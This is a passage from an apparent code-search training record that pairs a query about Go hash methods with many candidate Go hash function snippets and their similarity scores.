crcHash.Sum(make([]byte, 32))\n\tif !reflect.DeepEqual(stdHashSum, crcHashSum) {\n\t\tt.Fatalf(\"sum = %v, want %v\", crcHashSum, stdHashSum)\n\t}\n\n\t// write something\n\tif _, err := stdHash.Write([]byte(\"hello\")); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := crcHash.Write([]byte(\"hello\")); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tstdHashSum32 = stdHash.Sum32()\n\tcrcHashSum32 = crcHash.Sum32()\n\tif stdHashSum32 != crcHashSum32 {\n\t\tt.Fatalf(\"%d != %d\", stdHashSum32, crcHashSum32)\n\t}\n\n\t// reset\n\tstdHash.Reset()\n\tcrcHash.Reset()\n\tstdHashSum32 = stdHash.Sum32()\n\tcrcHashSum32 = crcHash.Sum32()\n\tif stdHashSum32 != crcHashSum32 {\n\t\tt.Fatalf(\"%d != %d\", stdHashSum32, crcHashSum32)\n\t}\n}", "func Hash(length int, key string) int64 {\n\tif key == \"\" {\n\t\treturn 0\n\t}\n\thc := hashCode(key)\n\treturn (hc ^ (hc >> 16)) % int64(length)\n}", "func Sum32(key string) uint32 {\n\treturn Sum32Seed(key, 0)\n}", "func HashASM(k0, k1 uint64, p []byte) uint64", "func hash(key uint64) uint64 {\r\n\tkey ^= key >> 33\r\n\tkey *= 0xff51afd7ed558ccd\r\n\tkey ^= key >> 33\r\n\tkey *= 0xc4ceb9fe1a85ec53\r\n\tkey ^= key >> 33\r\n\treturn key\r\n}", "func strhash0(p unsafe.Pointer, h uintptr) uintptr", "func Hash(b []byte) uint32 {\n\tconst (\n\t\tseed = 0xbc9f1d34\n\t\tm = 0xc6a4a793\n\t)\n\th := uint32(seed) ^ uint32(len(b))*m\n\tfor ; len(b) >= 4; b = b[4:] {\n\t\th += uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24\n\t\th *= m\n\t\th ^= h >> 16\n\t}\n\tswitch len(b) {\n\tcase 3:\n\t\th += uint32(b[2]) << 16\n\t\tfallthrough\n\tcase 2:\n\t\th += uint32(b[1]) << 8\n\t\tfallthrough\n\tcase 1:\n\t\th += uint32(b[0])\n\t\th *= m\n\t\th ^= h >> 24\n\t}\n\treturn h\n}", "func HashFunction(buf []byte) uint32 {\n\tvar hash uint32 = 5381\n\tfor _, b := range buf {\n\t\thash = ((hash << 5) + hash) + uint32(b)\n\t}\n\treturn hash\n}", "func byteshash(p *[]byte, h uintptr) uintptr", "func Bytes32ToIpfsHash(value [32]byte) (string, error) {\n\tbyteArray := [34]byte{18, 32}\n\tcopy(byteArray[2:], value[:])\n\tif len(byteArray) != 34 {\n\t\treturn \"\", errors.New(\"invalid bytes32 value\")\n\t}\n\n\thash := base58.Encode(byteArray[:])\n\treturn hash, nil\n}", "func sumHash(c byte, h uint32) uint32 {\n\treturn (h * hashPrime) ^ uint32(c)\n}", "func (h Hash32) Hex() string { return util.Encode(h[:]) }", "func (this *Ring) Hash(key string) uint32 {\n\treturn crc32.ChecksumIEEE([]byte(key))\n}", "func hash(data []byte) [32]byte {\n\tvar hash [32]byte\n\n\th := sha256.New()\n\t// The hash interface never returns an error, for that reason\n\t// we are not handling the error below. For reference, it is\n\t// stated here https://golang.org/pkg/hash/#Hash\n\t// #nosec G104\n\th.Write(data)\n\th.Sum(hash[:0])\n\n\treturn hash\n}", "func FNV32(s string) uint32 {\n\treturn uint32Hasher(fnv.New32(), s)\n}", "func (h Hash32) Field() log.Field { return log.String(\"hash\", hex.EncodeToString(h[:])) }", "func hashInt(s string) uint32 {\n\tb := []byte(s)\n\th := crc32.ChecksumIEEE(b)\n\treturn h\n}", "func memhash(p unsafe.Pointer, h, s uintptr) uintptr", "func memhash(p unsafe.Pointer, h, s uintptr) uintptr", "func (_L1Block *L1BlockCaller) Hash(opts *bind.CallOpts) ([32]byte, error) {\n\tvar out []interface{}\n\terr := _L1Block.contract.Call(opts, &out, \"hash\")\n\n\tif err != nil {\n\t\treturn *new([32]byte), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new([32]byte)).(*[32]byte)\n\n\treturn out0, err\n\n}", "func TestHash32(t *testing.T) {\n\tt.Parallel()\n\n\tconst n = 400\n\n\tf := NewOptimized(Config{\n\t\tCapacity: n,\n\t\tFPRate: .01,\n\t})\n\n\tr := rand.New(rand.NewSource(32))\n\n\tfor i := 0; i < n; i++ {\n\t\tf.Add(uint64(r.Uint32()))\n\t}\n\n\tconst nrounds = 8\n\tfp := 0\n\tfor i := n; i < nrounds*n; i++ {\n\t\tif f.Has(uint64(r.Uint32())) {\n\t\t\tfp++\n\t\t}\n\t}\n\n\tfprate := float64(fp) / (nrounds * n)\n\tt.Logf(\"FP rate = %.2f%%\", 100*fprate)\n\tassert.LessOrEqual(t, fprate, .1)\n}", "func Hash32WithSeed(s []byte, seed uint32) uint32 {\n\tslen := len(s)\n\n\tif slen <= 24 {\n\t\tif slen >= 13 {\n\t\t\treturn hash32Len13to24Seed(s, seed*c1)\n\t\t}\n\t\tif slen >= 5 {\n\t\t\treturn hash32Len5to12(s, seed)\n\t\t}\n\t\treturn hash32Len0to4(s, seed)\n\t}\n\th := hash32Len13to24Seed(s[:24], seed^uint32(slen))\n\treturn mur(Hash32(s[24:])+seed, h)\n}", "func Hash(key []byte) uint64 {\n\treturn murmur3.Sum64(key)\n}", "func hash(s string) string {\n\thash := fnv.New32a()\n\thash.Write([]byte(s))\n\tintHash := hash.Sum32()\n\tresult := fmt.Sprintf(\"%08x\", intHash)\n\treturn result\n}", "func hash4(u uint32, h uint8) uint32 {\n\treturn (u * prime4bytes) >> ((32 - h) & 31)\n}", "func hash4x64(u uint64, h uint8) uint32 {\n\treturn (uint32(u) * prime4bytes) >> ((32 - h) & 31)\n}", "func sha3hash(t *testing.T, data ...[]byte) []byte {\n\tt.Helper()\n\th := sha3.NewLegacyKeccak256()\n\tr, err := doSum(h, nil, data...)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn r\n}", "func (s *ShardMap) hash(v interface{}) int {\n\tswitch s.Type {\n\tcase \"string\":\n\t\tval, ok := v.(string)\n\t\tif !ok {\n\t\t\treturn -1\n\t\t}\n\n\t\thash := fnv.New32()\n\t\thash.Write([]byte(val))\n\t\treturn int(hash.Sum32() % NumShards)\n\tcase \"int32\":\n\t\t// Values that come as numbers in JSON are of type float64.\n\t\tval, ok := v.(float64)\n\t\tif !ok {\n\t\t\treturn -1\n\t\t}\n\n\t\treturn int(int32(val) % NumShards)\n\tdefault:\n\t\treturn -1\n\t}\n}", "func Checksum32(data []byte) uint32 {\n\treturn Checksum32Seed(data, 0)\n}", "func hash(s string) string {\n\th := fnv.New32a()\n\t_, err := h.Write([]byte(s))\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn fmt.Sprint(h.Sum32())\n}", "func Sha3256(bs []byte) ([]byte, error) {\n\treturn PerformHash(sha3.New256(), bs)\n}", "func addrHash(addr uint16) byte {\n\treturn (byte(addr) ^ byte(addr>>8)) & 0x7f\n}", "func (p Path) Hash() (uint32, error) {\n\treturn adler32.Checksum([]byte(p)), nil\n}", "func (r *RunCtx) Hash() (uint32, error) {\n\treturn 0, fmt.Errorf(\"not hashable\")\n}", "func hash(k Key) int {\n\tkey := fmt.Sprintf(\"%s\", k)\n\th := 0\n\tfor i := 0; i < len(key); i++ {\n\t\th = 31 * h + int(key[i])\n\t}\n\treturn h\n}", "func (t *Target) Hash() (uint32, error) {\n\th := adler32.New()\n\tt.Hash32(h)\n\treturn h.Sum32(), nil\n}", "func Sha256Hash(data []byte) [32]byte {\n\tsum := sha256.Sum256(data)\n\treturn sum\n}", "func strhash(p *string, h uintptr) uintptr", "func eb32(bits uint32, hi uint8, lo uint8) uint32 {\n\tm := uint32(((1 << (hi - lo)) - 1) << lo)\n\treturn (bits & m) >> lo\n}", "func Hash(data []byte) (string, int64) {\n\thasher := adler32.New()\n\tb, e := hasher.Write(data)\n\tif e != nil {\n\t\tlogs.WithFields(logs.Fields{\n\t\t\t\"Error\": e,\n\t\t}).Error(\"Unable to write chunk of data via hasher.Write\", e)\n\t}\n\treturn hex.EncodeToString(hasher.Sum(nil)), int64(b)\n}", "func Sum32Seed(key string, seed uint32) uint32 {\n\tvar nblocks = len(key) / 4\n\tvar nbytes = nblocks * 4\n\tvar h1 = seed\n\tconst c1 = 0xcc9e2d51\n\tconst c2 = 0x1b873593\n\tfor i := 0; i < nbytes; i += 4 {\n\t\tk1 := uint32(key[i+0]) | uint32(key[i+1])<<8 |\n\t\t\tuint32(key[i+2])<<16 | uint32(key[i+3])<<24\n\t\tk1 *= c1\n\t\tk1 = (k1 << 15) | (k1 >> 17)\n\t\tk1 *= c2\n\t\th1 ^= k1\n\t\th1 = (h1 << 13) | (h1 >> 19)\n\t\th1 = h1*5 + 0xe6546b64\n\t}\n\tvar k1 uint32\n\tswitch len(key) & 3 {\n\tcase 3:\n\t\tk1 ^= uint32(key[nbytes+2]) << 16\n\t\tfallthrough\n\tcase 2:\n\t\tk1 ^= uint32(key[nbytes+1]) << 8\n\t\tfallthrough\n\tcase 1:\n\t\tk1 ^= uint32(key[nbytes+0])\n\t\tk1 *= c1\n\t\tk1 = (k1 << 15) | (k1 >> 17)\n\t\tk1 *= c2\n\t\th1 ^= k1\n\t}\n\th1 ^= uint32(len(key))\n\th1 ^= h1 >> 16\n\th1 *= 0x85ebca6b\n\th1 ^= h1 >> 13\n\th1 *= 0xc2b2ae35\n\th1 ^= h1 >> 16\n\treturn h1\n}", "func HashXXH3_64(input []byte, seed uint64) (result uint64) {\n\treturn parser.HashXXH3_64(input, seed)\n}", "func CalcBlocksHash32(view []BlockID, additionalBytes []byte) Hash32 {\n\tsortedView := make([]BlockID, len(view))\n\tcopy(sortedView, view)\n\tSortBlockIDs(sortedView)\n\treturn CalcBlockHash32Presorted(sortedView, additionalBytes)\n}", "func NewHashFromArray(bytes [32]byte) Hash32 {\n\treturn NewHashFromBytes(bytes[:])\n}", "func (t *openAddressing) hash(key string, round int) uint32 {\n\tnum := uint(stringToInt(key))\n\tmax := uint(len(t.values) - 1)\n\treturn uint32((hashDivision(num, max) + uint(round)*hashDivision2(num, max)) % max)\n}", "func hash(addr mino.Address) *big.Int {\n\tsha := sha256.New()\n\tmarshalled, err := addr.MarshalText()\n\tif err != nil {\n\t\tmarshalled = []byte(addr.String())\n\t}\n\t// A hack to accommodate for minogrpc's design:\n\t// 1) the first byte is used to indicate if a node is orchestrator or not\n\t// 2) the only way to reach the orchestrator is to route a message to nil\n\t// from its server side, which has the same address but orchestrator byte\n\t// set to f.\n\t// We therefore have to ignore if a node is the orchestrator to be able to\n\t// route the message first to its server side, then from the server side to\n\t// the client side.\n\tsha.Write(marshalled[1:])\n\treturn byteArrayToBigInt(sha.Sum(nil))\n}", "func Hash(value int64) uint64 {\n\treturn FNVHash64(uint64(value))\n}", "func BytesToHash(b []byte) Hash32 {\n\tvar h Hash32\n\th.SetBytes(b)\n\treturn h\n}", "func FNV32a(s string) uint32 {\n\treturn uint32Hasher(fnv.New32a(), s)\n}", "func hashFunction(key int, size int) int {\n\treturn key % size\n}", "func (payload *ExtEthCompatPayload) Hash() B32 {\n\thash := crypto.Keccak256(payload.Value)\n\tvar phash B32\n\tcopy(phash[:], hash)\n\treturn phash\n}", "func Hash3Words(a, b, c, initval uint32) uint32 {\n\tconst iv = 0xdeadbeef + (3 << 2)\n\tinitval += iv\n\n\ta += initval\n\tb += initval\n\tc += initval\n\n\tc ^= b\n\tc -= rol32(b, 14)\n\ta ^= c\n\ta -= rol32(c, 11)\n\tb ^= a\n\tb -= rol32(a, 25)\n\tc ^= b\n\tc -= rol32(b, 16)\n\ta ^= c\n\ta -= rol32(c, 4)\n\tb ^= a\n\tb -= rol32(a, 14)\n\tc ^= b\n\tc -= rol32(b, 24)\n\n\treturn c\n}", "func SHA256(raw []byte) Hash {\n\treturn gosha256.Sum256(raw)\n}", "func HashKey(key int) int {\n\t/*\n\t\ttiedot should be compiled/run on x86-64 systems.\n\t\tIf you decide to compile tiedot on 32-bit systems, the following integer-smear algorithm will cause compilation failure\n\t\tdue to 32-bit interger overflow; therefore you must modify the algorithm.\n\t\tDo not remove the integer-smear process, and remember to run test cases to verify your mods.\n\t*/\n\t// ========== Integer-smear start =======\n\tkey = key ^ (key >> 4)\n\tkey = (key ^ 0xdeadbeef) + (key << 5)\n\tkey = key ^ (key >> 11)\n\t// ========== Integer-smear end =========\n\treturn key & ((1 << HASH_BITS) - 1) // Do not modify this line\n}", "func nilinterhash(a unsafe.Pointer, h uintptr) uintptr", "func fnv32a(s string) uint32 {\n\tconst (\n\t\tinitial = 2166136261\n\t\tprime = 16777619\n\t)\n\n\thash := uint32(initial)\n\tfor i := 0; i < len(s); i++ {\n\t\thash ^= uint32(s[i])\n\t\thash *= prime\n\t}\n\treturn hash\n}", "func CalculateHash(args []string) string {\n\tvar str = \"\"\n\tfor _,v := range args {\n\t\tstr += v\n\t}\n\thasher := sha256.New()\n\thasher.Write([]byte(str))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}", "func CalcBlockHash32Presorted(sortedView []BlockID, additionalBytes []byte) Hash32 {\n\thash := hash.New()\n\thash.Write(additionalBytes)\n\tfor _, id := range sortedView {\n\t\thash.Write(id.Bytes()) // this never returns an error: https://golang.org/pkg/hash/#Hash\n\t}\n\tvar res Hash32\n\thash.Sum(res[:0])\n\treturn res\n}", "func runtime_memhash(p unsafe.Pointer, seed, s uintptr) uintptr", "func (o *ObjectIndex) Hash() uint32 {\n\tvar h uint32 = 17\n\n\tvar str string\n\tstr += fmt.Sprintf(\"%08x\", o.machine)\n\tstr += fmt.Sprintf(\"%04x\", o.pid)\n\tstr += fmt.Sprintf(\"%08x\", o.id)\n\tstr += fmt.Sprintf(\"%08x\", o.Rand)\n\tfor _, v := range str {\n\t\th += h*23 + uint32(v)\n\t}\n\treturn h\n}", "func hashCode(key string) int64 {\n\tv := int64(crc32.ChecksumIEEE([]byte(key)))\n\tif v >= 0 {\n\t\treturn v\n\t}\n\tif -v > 0 {\n\t\treturn -v\n\t}\n\t// v == MinInt\n\treturn 0\n}", "func crc32Demo() {\n\t// hasher\n\th := crc32.NewIEEE()\n\tfmt.Println(reflect.TypeOf(h))\n\n\t// write a string converted to bytes\n\th.Write([]byte(\"test\"))\n\n\t// checksum\n\tv := h.Sum32()\n\tfmt.Println(reflect.TypeOf(v)) // uint32\n\tfmt.Println(v)\n}", "func (h Hash32) Bytes() []byte { return h[:] }", "func hashmapHash(data []byte) uint32 {\n\tvar result uint32 = 2166136261 // FNV offset basis\n\tfor _, c := range data {\n\t\tresult ^= uint32(c)\n\t\tresult *= 16777619 // FNV prime\n\t}\n\treturn result\n}", "func Hash(data []byte) [blake2b.Size]byte {\n\treturn blake2b.Sum512(data)\n}", "func fletcher32(payload []byte) uint32 {\n\ts1 := uint16(0)\n\ts2 := uint16(0)\n\n\tsz := len(payload) & (^1)\n\tfor i := 0; i < sz; i += 2 {\n\t\ts1 += uint16(payload[i]) | (uint16(payload[i+1]) << 8)\n\t\ts2 += s1\n\t}\n\tif len(payload)&1 != 0 {\n\t\ts1 += uint16(payload[sz])\n\t\ts2 += s1\n\t}\n\treturn (uint32(s2) << 16) | uint32(s1)\n}", "func (i *Instance) Hash() (uint32, error) {\n\th := fnv.New32()\n\tfmt.Fprintf(h, \"%s%s\", i.Name, i.Version)\n\n\tfn, err := i.Fn.Hash()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn fn ^ h.Sum32(), nil\n}", "func hash_func(x, y, n HashValue) (HashValue) {\n return (x*1640531513 ^ y*2654435789) % n\n}", "func HashBuildArgs(args interface{}) (string, error) {\n\tdata, err := json.Marshal(args)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\thash := sha256.Sum256(data)\n\treturn hex.EncodeToString(hash[:]), nil\n}", "func (gg GlobGroup) Hash() (uint32, error) {\n\th := adler32.New()\n\tgg.Hash32(h)\n\treturn h.Sum32(), nil\n}", "func (hasher *SHA256) HashLength() uint {\n\treturn 64\n}", "func (h *MemHash) Hash() uint32 {\n\tss := (*stringStruct)(unsafe.Pointer(&h.buf))\n\treturn uint32(memhash(ss.str, 0, uintptr(ss.len)))\n}" ]
[ "0.75116545", "0.74907047", "0.7268526", "0.7188452", "0.6985214", "0.673352", "0.6720558", "0.6719553", "0.6649225", "0.66212195", "0.6579969", "0.6577231", "0.65532845", "0.6546386", "0.6525872", "0.6499919", "0.64648885", "0.6464478", "0.64486724", "0.6393531", "0.6317038", "0.631687", "0.6264952", "0.62395585", "0.6215945", "0.6202495", "0.61218196", "0.6119051", "0.61120987", "0.6086739", "0.60766727", "0.6071025", "0.6068222", "0.60297453", "0.6023569", "0.6016051", "0.60021317", "0.60001326", "0.5997536", "0.5994974", "0.59752166", "0.5945056", "0.5930581", "0.59267324", "0.59250027", "0.58975095", "0.58975095", "0.587138", "0.5862218", "0.58547515", "0.58530897", "0.58527094", "0.5849866", "0.5840339", "0.58199483", "0.5814855", "0.58126444", "0.5808398", "0.58074707", "0.5790867", "0.5763299", "0.57570326", "0.5747508", "0.57446945", "0.57338905", "0.5728087", "0.5722099", "0.57193357", "0.5718402", "0.5716916", "0.5712761", "0.5684535", "0.56669533", "0.565422", "0.5629355", "0.5623111", "0.5620559", "0.5619319", "0.5607339", "0.5607136", "0.56035423", "0.55980986", "0.5593492", "0.5587556", "0.55866617", "0.55818605", "0.5577008", "0.5559577", "0.5559252", "0.55566174", "0.55542386", "0.55386937", "0.5538049", "0.5537879", "0.5523626", "0.549935", "0.54951024", "0.5487237", "0.5484303", "0.54819244" ]
0.68938047
5
Hash implements the starlark.Value.Hash() method.
func (s *Sub) Hash() (uint32, error) { h := adler32.New() s.Hash32(h) return h.Sum32(), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Hash(value int64) uint64 {\n\treturn FNVHash64(uint64(value))\n}", "func (n *SoupNode) Hash() (uint32, error) {\n\treturn hashString(fmt.Sprintf(\"%v\", *n)), nil\n}", "func (o *ObjectIndex) Hash() uint32 {\n\tvar h uint32 = 17\n\n\tvar str string\n\tstr += fmt.Sprintf(\"%08x\", o.machine)\n\tstr += fmt.Sprintf(\"%04x\", o.pid)\n\tstr += fmt.Sprintf(\"%08x\", o.id)\n\tstr += fmt.Sprintf(\"%08x\", o.Rand)\n\tfor _, v := range str {\n\t\th += h*23 + uint32(v)\n\t}\n\treturn h\n}", "func hash(key, value string) int64 {\n\thash := siphash.New(sipConst)\n\thash.Write([]byte(key + \":::\" + value))\n\treturn int64(hash.Sum64())\n}", "func (term *Term) Hash() int {\n\treturn term.Value.Hash()\n}", "func (s *ShardMap) hash(v interface{}) int {\n\tswitch s.Type {\n\tcase \"string\":\n\t\tval, ok := v.(string)\n\t\tif !ok {\n\t\t\treturn -1\n\t\t}\n\n\t\thash := fnv.New32()\n\t\thash.Write([]byte(val))\n\t\treturn int(hash.Sum32() % NumShards)\n\tcase \"int32\":\n\t\t// Values that come as numbers in JSON are of type float64.\n\t\tval, ok := v.(float64)\n\t\tif !ok {\n\t\t\treturn -1\n\t\t}\n\n\t\treturn int(int32(val) % NumShards)\n\tdefault:\n\t\treturn -1\n\t}\n}", "func (this *Ring) Hash(key string) uint32 {\n\treturn crc32.ChecksumIEEE([]byte(key))\n}", "func Hash(length int, key string) int64 {\n\tif key == \"\" {\n\t\treturn 0\n\t}\n\thc := hashCode(key)\n\treturn (hc ^ (hc >> 16)) % int64(length)\n}", "func HashOf(v Value) []byte {\n\treturn quad.HashOf(v)\n}", "func hash(value string) uint32 {\n\th := fnv.New32a()\n\th.Write([]byte(value))\n\n\treturn h.Sum32()\n}", "func (ref Ref) Hash() int {\n\treturn termSliceHash(ref)\n}", "func (o *Object) Hash() string {\n\treturn Hash(o, true, false, true)\n}", "func (r Ref) Hash() int {\n\treturn termSliceHash(r)\n}", "func hash(obj interface{}) KHash {\n\tvar buffer bytes.Buffer\n\tencoder := json.NewEncoder(&buffer)\n\terr := encoder.Encode(obj)\n\tif err != nil {\n\t\tpanic(\"cannot encode object\")\n\t}\n\n\tdata := buffer.Bytes()\n\th := sha256.Sum256(data)\n\n\t// log.Printf(\"hashing %#v represented as %s with hash %X\", obj, data, h)\n\treturn h\n}", "func (i *Instance) Hash() (uint32, error) {\n\th := fnv.New32()\n\tfmt.Fprintf(h, \"%s%s\", i.Name, i.Version)\n\n\tfn, err := i.Fn.Hash()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn fn ^ h.Sum32(), nil\n}", "func (expr *Expr) Hash() int {\n\ts := expr.Index\n\tswitch ts := expr.Terms.(type) {\n\tcase []*Term:\n\t\tfor _, t := range ts {\n\t\t\ts += t.Value.Hash()\n\t\t}\n\tcase *Term:\n\t\ts += ts.Value.Hash()\n\t}\n\tif expr.Negated {\n\t\ts++\n\t}\n\treturn s\n}", "func (i *Index) Hash() (uint32, error) {\n\treturn 0, fmt.Errorf(\"unhashable: %s\", i.Type())\n}", "func (p *FiveTuple) Hash() uint64 {\n\treturn siphash.Hash(lookupKey, 0, p.data)\n}", "func (k Ktype) Hash() uint32 {\n\tif k == UnknownKtype {\n\t\treturn 0\n\t}\n\treturn hashers.FnvUint32([]byte(k.String()))\n}", "func (sc *SetComprehension) Hash() int {\n\treturn sc.Term.Hash() + sc.Body.Hash()\n}", "func Hash(data interface{}) string {\n\treturn hex.EncodeToString(RawHash(data))\n}", "func (obj *identifier) Hash() hash.Hash {\n\tif obj.IsElement() {\n\t\treturn obj.Element().Hash()\n\t}\n\n\treturn obj.Comparer().Hash()\n}", "func Hash(key []byte) uint64 {\n\treturn murmur3.Sum64(key)\n}", "func (o *Object) Hash(ht hash.Type) (string, error) {\n\terr := o.loadMetadataIfNotLoaded()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif ht&hash.MD5 == 0 {\n\t\treturn \"\", hash.ErrUnsupported\n\t}\n\treturn hex.EncodeToString(o.meta.Hash), nil\n}", "func (null Null) Hash() int {\n\treturn 0\n}", "func Hasher(value string) string {\n\th := fnv.New32a()\n\t_, _ = h.Write([]byte(value))\n\treturn fmt.Sprintf(\"%v\", h.Sum32())\n}", "func (p PropertyHashList) Hash() string {\n\tglobalSum := sha256.New()\n\tfor _, hash := range p {\n\t\t_, _ = globalSum.Write(hash.Hash)\n\t}\n\n\tsum := globalSum.Sum(nil)\n\n\treturn hex.EncodeToString(sum)\n}", "func (t *openAddressing) hash(key string, round int) uint32 {\n\tnum := uint(stringToInt(key))\n\tmax := uint(len(t.values) - 1)\n\treturn uint32((hashDivision(num, max) + uint(round)*hashDivision2(num, max)) % max)\n}", "func hash(t types.Type, x value) int {\n\tswitch x := x.(type) {\n\tcase bool:\n\t\tif x {\n\t\t\treturn 1\n\t\t}\n\t\treturn 0\n\tcase int:\n\t\treturn x\n\tcase int8:\n\t\treturn int(x)\n\tcase int16:\n\t\treturn int(x)\n\tcase int32:\n\t\treturn int(x)\n\tcase int64:\n\t\treturn int(x)\n\tcase uint:\n\t\treturn int(x)\n\tcase uint8:\n\t\treturn int(x)\n\tcase uint16:\n\t\treturn int(x)\n\tcase uint32:\n\t\treturn int(x)\n\tcase uint64:\n\t\treturn int(x)\n\tcase uintptr:\n\t\treturn int(x)\n\tcase float32:\n\t\treturn int(x)\n\tcase float64:\n\t\treturn int(x)\n\tcase complex64:\n\t\treturn int(real(x))\n\tcase complex128:\n\t\treturn int(real(x))\n\tcase string:\n\t\treturn hashString(x)\n\tcase *value:\n\t\treturn int(uintptr(unsafe.Pointer(x)))\n\tcase chan value:\n\t\treturn int(uintptr(reflect.ValueOf(x).Pointer()))\n\tcase structure:\n\t\treturn x.hash(t)\n\tcase array:\n\t\treturn x.hash(t)\n\tcase iface:\n\t\treturn x.hash(t)\n\tcase rtype:\n\t\treturn x.hash(t)\n\t}\n\tpanic(fmt.Sprintf(\"%T is unhashable\", x))\n}", "func (o *Object) Hash(ctx context.Context, r hash.Type) (string, error) {\n\treturn \"\", hash.ErrUnsupported\n}", "func Hash(s int, o Orientation) (int, error) {\n\n\tvar errVal int = 10\n\n\tif !(s >= 0 && s <= palletWidth*palletLength) {\n\t\treturn errVal, ErrSize\n\t}\n\tif o != HORIZONTAL && o != VERTICAL && o != SQUAREGRID {\n\t\treturn errVal, ErrOrient\n\t}\n\n\tvar hash int\n\n\tswitch s {\n\tcase 1, 2, 3, 6:\n\t\thash = s - 1\n\tcase 4:\n\t\tif o == SQUAREGRID {\n\t\t\thash = s\n\t\t} else {\n\t\t\thash = s - 1\n\t\t}\n\tcase 8:\n\t\thash = 6\n\tcase 9:\n\t\thash = 7\n\tcase 12:\n\t\thash = 8\n\tcase 16:\n\t\thash = 9\n\tdefault:\n\t\treturn errVal, ErrSize\n\t}\n\n\treturn hash, nil\n}", "func (oc *ObjectComprehension) Hash() int {\n\treturn oc.Key.Hash() + oc.Value.Hash() + oc.Body.Hash()\n}", "func (c *Cluster) Hash(v interface{}) (int, error) {\n\th, err := hashstructure.Hash(v, nil)\n\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\n\t// get cluster index\n\tci := int(h % uint64(c.metadata.NumShards))\n\n\treturn ci, nil\n}", "func (a Address) Hash() Hash { return BytesToHash(a[:]) }", "func (v Var) Hash() int {\n\th := xxhash.ChecksumString64S(string(v), hashSeed0)\n\treturn int(h)\n}", "func Hash(k0, k1 uint64, p []byte) uint64 {\n\tvar d digest\n\td.size = Size\n\td.k0 = k0\n\td.k1 = k1\n\td.Reset()\n\td.Write(p)\n\treturn d.Sum64()\n}", "func (m *Map) Hash() string {\n\treturn Hash(m, true, false, true)\n}", "func (b BlockChain) Hash() {\n\n}", "func (a *Array) Hash() string {\n\treturn Hash(a, true, false, true)\n}", "func Hash(strings ...string) uint32 {\n\tdigester := fnv.New32()\n\tfor _, s := range strings {\n\t\t_, _ = io.WriteString(digester, s)\n\t}\n\treturn digester.Sum32()\n}", "func (o *Object) Hash(ctx context.Context, t hash.Type) (string, error) {\n\treturn \"\", hash.ErrUnsupported\n}", "func (c Category) Hash() uint32 {\n\treturn hashers.FnvUint32([]byte(c))\n}", "func Hash(i interface{}) string {\n\tv := reflect.ValueOf(i)\n\tif v.Kind() != reflect.Ptr {\n\t\tif !v.CanAddr(){\n\t\t\treturn \"\"\n\t\t}\n\t\tv = v.Addr()\n\t}\n\n\tsize := unsafe.Sizeof(v.Interface())\n\tb := (*[1 << 10]uint8)(unsafe.Pointer(v.Pointer()))[:size:size]\n\n\th := md5.New()\n\treturn base64.StdEncoding.EncodeToString(h.Sum(b))\n}", "func (s *set) Hash() int {\n\treturn s.hash\n}", "func (obj *bucket) Hash() hash.Hash {\n\treturn obj.immutable.Hash()\n}", "func (s Sample) Hash() []byte {\n\tallVecs := make([]linalg.Vector, len(s.Inputs)+len(s.Outputs))\n\tcopy(allVecs, s.Inputs)\n\tcopy(allVecs[len(s.Inputs):], s.Outputs)\n\treturn sgd.HashVectors(allVecs...)\n}", "func hash(key uint64) uint64 {\r\n\tkey ^= key >> 33\r\n\tkey *= 0xff51afd7ed558ccd\r\n\tkey ^= key >> 33\r\n\tkey *= 0xc4ceb9fe1a85ec53\r\n\tkey ^= key >> 33\r\n\treturn key\r\n}", "func Hash(a interface{}) (string, error) {\n\th := sha1.New()\n\tif err := json.NewEncoder(h).Encode(a); err != nil {\n\t\treturn \"\", nil\n\t}\n\treturn base64.URLEncoding.EncodeToString(h.Sum(nil)), nil\n}", "func Hash(content string, size int) int {\n\tsequence := sliceutil.Atoi(content, \",\")\n\tcircleKnots := GetStringCircle(size)\n\tfor _, n := range sequence {\n\t\tcircleKnots.ComputeKnot(n)\n\t}\n\treturn circleKnots.GetHash()\n}", "func hash(key string) int{\n\tvar num = 0\n\t// get the lenght of the key\n\tvar length = len(key)\n\n\t// add the ascii character value to creat a sum \n\tfor i := 0; i < length; i++{\n\n\t\tnum += int(key[i])\n\t}\n\t\n\t// square in the middle hash method\n\tvar avg = num * int((math.Pow(5.0, 0.5) - 1)) / 2\n\tvar numeric = avg - int(math.Floor(float64(avg)))\n\n\n\t// hash value to place into the table slice between -1 and CAPACITY - 1\n\treturn int(math.Floor(float64(numeric * CAPACITY)))\n}", "func (bc *Blockchain) Hash() {\n\n}", "func (t Tuple1) Hash() uint32 {\n\tif t.E1 == nil {\n\t\treturn 0\n\t}\n\treturn t.E1.Hash()\n}", "func hash(s string) uint32 {\n h := fnv.New32a()\n h.Write([]byte(s))\n return h.Sum32()\n}", "func (obj *immutable) Hash() hash.Hash {\n\treturn obj.hash\n}", "func (o *Object) Hash(t fs.HashType) (string, error) {\n\treturn \"\", fs.ErrHashUnsupported\n}", "func Hash(key string) uint32 {\n\treturn uint32(aeshashstr(noescape(unsafe.Pointer(&key)), 0))\n}", "func (o *ObjectInfo) Hash(ht hash.Type) (string, error) {\n\tif o.meta == nil {\n\t\tmo, err := o.f.NewObject(generateMetadataName(o.Remote()))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\to.meta = readMetadata(mo)\n\t}\n\tif ht&hash.MD5 == 0 {\n\t\treturn \"\", hash.ErrUnsupported\n\t}\n\treturn hex.EncodeToString(o.meta.Hash), nil\n}", "func (h *Header) Hash() [32]byte {\n\tvar f []string\n\tif h.Description.Value != \"\" {\n\t\tf = append(f, h.Description.Value)\n\t}\n\tf = append(f, fmt.Sprint(h.Required.Value))\n\tf = append(f, fmt.Sprint(h.Deprecated.Value))\n\tf = append(f, fmt.Sprint(h.AllowEmptyValue.Value))\n\tif h.Style.Value != \"\" {\n\t\tf = append(f, h.Style.Value)\n\t}\n\tf = append(f, 